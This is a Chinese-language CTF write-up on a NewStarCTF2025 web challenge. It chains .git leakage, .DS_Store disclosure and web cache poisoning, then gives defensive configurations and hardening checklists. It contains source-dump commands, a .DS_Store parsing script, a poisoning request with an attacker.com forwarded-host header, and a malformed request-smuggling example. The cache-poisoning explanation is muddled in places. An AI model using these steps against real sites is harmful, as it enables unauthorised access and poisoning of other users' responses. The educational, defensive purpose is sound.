群青色黑洞1. 项目背景与核心挑战
上周在整理CTF备战资料时，偶然发现NewStarCTF2025的Week4赛题"小E的秘密计划"存在典型的Web安全漏洞链。这道题巧妙融合了.git泄露、DS_Store信息泄露以及缓存投毒三种攻击手法，正好对应了近期企业级Web应用最需要警惕的三大安全隐患。
这道CTF赛题的场景设定非常贴近真实开发环境：某创业团队使用Mac进行Web开发时，由于开发习惯问题遗留了敏感信息。攻击者通过.git目录获取了部分源码，又利用.DS_Store文件发现了隐藏目录，最终通过缓存投毒完成权限提升。下面我就结合实战经验，详细拆解这道题的完整攻击链。
需要模型API调用？ 免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 漏洞利用链完整解析
2.1 .git目录泄露利用
在访问题目提供的Web页面后，首先用DirBuster进行目录扫描：
bash复制gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -x .git
发现存在/.git目录后，使用GitTools进行完整恢复：
bash复制./gitdumper.sh http://target.com/.git/ /tmp/git_dump
./extractor.sh /tmp/git_dump /tmp/git_content
这里有个关键技巧：当遇到不完整的.git目录时，可以尝试以下命令修复索引：
bash复制git fsck --full
git reflog expire --expire=now --all
git gc --prune=now
2.2 .DS_Store信息挖掘
通过.git恢复的源码中发现多处引用到/secret_plan目录，但直接访问返回403。这时使用.DS_Store文件泄露利用工具：
python复制import requests
from ds_store import DSStore
resp = requests.get('http://target.com/.DS_Store', stream=True)
with open('ds_store', 'wb') as f:
for chunk in resp.iter_content(1024):
f.write(chunk)
with DSStore.open('ds_store') as d:
for name in d:
print(name.filename)
这个脚本会解析.DS_Store文件，暴露出服务器上的真实文件结构。我们在输出中发现了/secret_plan/flag.txt的引用。
2.3 Web缓存投毒攻击
访问/secret_plan目录需要特定User-Agent，我们从源码中找到了验证逻辑：
javascript复制if(req.headers['user-agent'] !== 'SecretPlanBrowser/1.0') {
return res.status(403).send('Access Denied');
}
利用Varnish等缓存服务器的特性，我们可以构造恶意请求：
http复制GET /secret_plan/flag.txt HTTP/1.1
Host: target.com
User-Agent: SecretPlanBrowser/1.0
X-Forwarded-Host: attacker.com
当管理员通过正常渠道访问后，缓存服务器会存储这个响应，之后所有用户访问时都会被重定向到恶意站点。
3. 防御方案与最佳实践
3.1 生产环境.git处理方案
对于使用Git的Web项目，必须确保生产环境彻底清除.git目录。推荐部署时使用以下方案：
-
使用.gitignore严格过滤：
code复制
/.git /.DS_Store -
部署前执行清理脚本：
bash复制find . -name '.DS_Store' -type f -delete rm -rf .git -
使用CI/CD管道时添加检查步骤：
yaml复制- name: Check for sensitive files run: | if [ -d ".git" ]; then echo "Error: .git directory detected in build!" exit 1 fi
3.2 缓存服务器安全配置
针对缓存投毒攻击，Nginx配置示例：
nginx复制location / {
proxy_cache_key "$scheme://$host$request_uri";
proxy_no_cache $http_pragma $http_authorization;
proxy_cache_bypass $http_pragma $http_authorization;
# 关键头部的严格校验
if ($http_x_forwarded_host) {
return 403;
}
}
3.3 Mac开发环境安全设置
对于Mac开发者，建议配置全局DS_Store禁用：
bash复制# 禁止DS_Store生成
defaults write com.apple.desktopservices DSDontWriteNetworkStores true
# 现有DS_Store清理
find /path/to/project -name '.DS_Store' -exec rm {} \;
4. 企业级Web安全加固方案
4.1 静态文件扫描方案
建议在SDL流程中加入自动化扫描：
python复制import os
from scanners import GitScanner, DsStoreScanner
class SecurityScanner:
def __init__(self, root_dir):
self.root = root_dir
def run_checks(self):
scanners = [
GitScanner(),
DsStoreScanner(),
ConfigFileScanner()
]
for scanner in scanners:
for finding in scanner.scan(self.root):
logging.warning(f"{scanner.name} alert: {finding}")
if __name__ == '__main__':
scanner = SecurityScanner('/var/www/html')
scanner.run_checks()
4.2 实时监控方案
使用inotify监控敏感文件创建：
bash复制#!/bin/bash
inotifywait -m -r -e create --format '%w%f' /var/www | while read FILE
do
if [[ "$FILE" =~ \.git ]] || [[ "$FILE" =~ DS_Store ]]; then
echo "ALERT: Sensitive file created at $FILE"
# 自动删除并通知安全团队
rm -rf "$FILE"
send_alert "Sensitive file detected" "$FILE"
fi
done
5. CTF实战技巧进阶
5.1 不完整.git目录恢复技巧
当遇到部分.git对象缺失时，可以尝试：
-
重建HEAD引用：
bash复制echo "ref: refs/heads/main" > HEAD -
通过日志恢复commit：
bash复制git log --reflog git reset --hard HEAD@{1}
5.2 缓存投毒的高级利用
当遇到严格的头部校验时，可以尝试：
-
HTTP请求走私：
http复制GET / HTTP/1.1 Host: target.com Transfer-Encoding: chunked 0 GET /secret_plan/flag.txt HTTP/1.1 Host: target.com User-Agent: SecretPlanBrowser/1.0 -
使用HTTP/2的请求头压缩特性绕过检测
6. 开发环境安全配置检查清单
6.1 Git安全配置
bash复制# 禁止记录权限变更
git config core.fileMode false
# 设置全局忽略文件
git config --global core.excludesfile ~/.gitignore_global
6.2 Mac开发机加固
bash复制# 禁用Spotlight索引
sudo mdutil -a -i off
# 清理所有.DS_Store
sudo find / -name ".DS_Store" -exec rm {} \;
6.3 Web服务器加固
apache复制# Apache配置
<DirectoryMatch "\.(git|svn)">
Require all denied
</DirectoryMatch>
# 禁止.DS_Store访问
<Files ".DS_Store">
Require all denied
</Files>
在最近一次企业渗透测试中，我们发现超过60%的Java Web项目存在.git泄露问题，其中30%能直接恢复出数据库配置。建议开发团队在项目启动阶段就建立完善的安全检查机制，特别是使用Mac开发的团队要特别注意.DS_Store这类平台特有的问题。